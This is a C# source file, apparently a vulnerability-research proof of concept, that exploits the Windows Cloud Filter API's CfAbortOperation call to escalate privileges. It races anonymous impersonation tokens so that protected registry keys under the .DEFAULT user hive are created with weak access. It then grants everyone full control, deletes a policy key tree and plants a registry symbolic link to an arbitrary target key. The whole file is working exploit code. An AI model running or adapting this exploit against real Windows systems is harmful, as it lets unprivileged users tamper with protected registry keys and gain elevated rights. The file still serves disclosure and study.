using NtApiDotNet;
using NtApiDotNet.Win32;
using System;
using System.Runtime.InteropServices;
using System.Threading;

namespace PoC_AbortHydration_ArbitraryRegKey_EoP
{
    static class Program
    {
        static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
        {
            Console.WriteLine("Opening for {0}", desired_access);
            using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
            {
                using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
                {
                    if (key.IsSuccess)
                        return key.Result.Duplicate();
                }

                using (var imp = NtThread.Current.ImpersonateAnonymousToken())
                {
                    return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
                }
            }
        }

        static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
        {
            var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
            key.SetSecurityDescriptor(sd, info);
        }

        static void ForceKeyDeleteKey(NtKey root, string name)
        {
            Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
            using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
            {
                Console.WriteLine("Opened for WriteDac");
                SetSecurityDescriptor(key, SecurityInformation.Dacl);
            }

            using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
            {
                Console.WriteLine("Opened for WriteOwner");
                SetSecurityDescriptor(key, SecurityInformation.Label);
            }

            using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
            {
                Console.WriteLine("Opened for enumerate.");
                DeleteRegistryTree(new_key);
                new_key.Delete();
            }
        }

        static void DeleteRegistryTree(NtKey root)
        {
            foreach (var name in root.QueryKeys())
            {
                ForceKeyDeleteKey(root, name);
            }
        }

        [Flags]
        enum AbortHydrationFlags
        {
            None = 0,
            Unblock = 1,
            Block = 2,
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);

        [StructLayout(LayoutKind.Sequential)]
        struct CF_PLATFORM_INFO
        {
            public int BuildNumber;
            public int RevisionNumber;
            public int IntegrationNumber;
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfGetPlatformInfo(
          out CF_PLATFORM_INFO PlatformVersion
        );

        static void ForceTokenThread(object obj)
        {
            try
            {
                using (var thread = (NtThread)obj)
                {
                    Console.WriteLine("In force token thread {0}", thread);
                    using (var token = TokenUtils.GetAnonymousToken())
                    {
                        while (true)
                        {
                            thread.SetImpersonationToken(token);
                            thread.SetImpersonationToken(null);
                        }
                    }
                }
            }
            catch(ThreadAbortException)
            {
                return;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }

        const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
        static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
        static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
        const string TARGET_KEY = @"\Registry\User\.DEFAULT\DEMODEMO";

        static void CheckKeyThread(object root_key)
        {
            string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
            try
            {
                using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
                {
                    while (true)
                    {
                        if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
                        {
                            Console.WriteLine("Change detected.");
                            Environment.Exit(0);
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }

        static int Check(this int hr)
        {
            if (hr < 0)
                Marshal.ThrowExceptionForHR(hr);
            return hr;
        }

        const int MAX_STAGE = 4;

        static void Stage0()
        {
            for (int i = 1; i < MAX_STAGE; ++i)
            {
                Win32ProcessConfig config = new Win32ProcessConfig
                {
                    CommandLine = $"run {i}",
                    ApplicationName = typeof(Program).Assembly.Location,
                    TerminateOnDispose = true
                };

                using (var p = Win32Process.CreateProcess(config))
                {
                    if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
                    {
                        throw new ArgumentException($"Failed to run stage {i}");
                    }
                }
            }
        }

        static void Stage1(bool root_key)
        {
            Thread check_key_th = new Thread(CheckKeyThread);
            check_key_th.IsBackground = true;
            check_key_th.Start(root_key);
            Thread.Sleep(1000);

            var th = NtThread.OpenCurrent();
            var anon_thread = new Thread(ForceTokenThread)
            {
                IsBackground = true
            };
            anon_thread.Start(th);

            while (true)
            {
                CfAbortOperation(NtProcess.Current.ProcessId,
                    IntPtr.Zero, AbortHydrationFlags.Block);
            }
        }

        static void Stage2()
        {
            using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
            {
                SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
                DeleteRegistryTree(key);
            }

            NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
            Stage1(false);
        }

        static void Stage3()
        {
            using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
            {
                Console.WriteLine("Cleaning up link {0}", key.FullPath);
                key.Delete();
            }

            using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
            {
                SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
            }
        }

        static void Main(string[] args)
        {
            try
            {
                CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();

                if (args.Length <= 1)
                {
                    int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
                    switch (stage)
                    {
                        case 0:
                            Stage0();
                            break;
                        case 1:
                            Stage1(true);
                            break;
                        case 2:
                            Stage2();
                            break;
                        case 3:
                            Stage3();
                            break;
                        default:
                            throw new ArgumentException("Erm?");
                    }
                }
                else
                {
                    using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
                    {
                        using (var imp = token.Impersonate())
                        {
                            CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}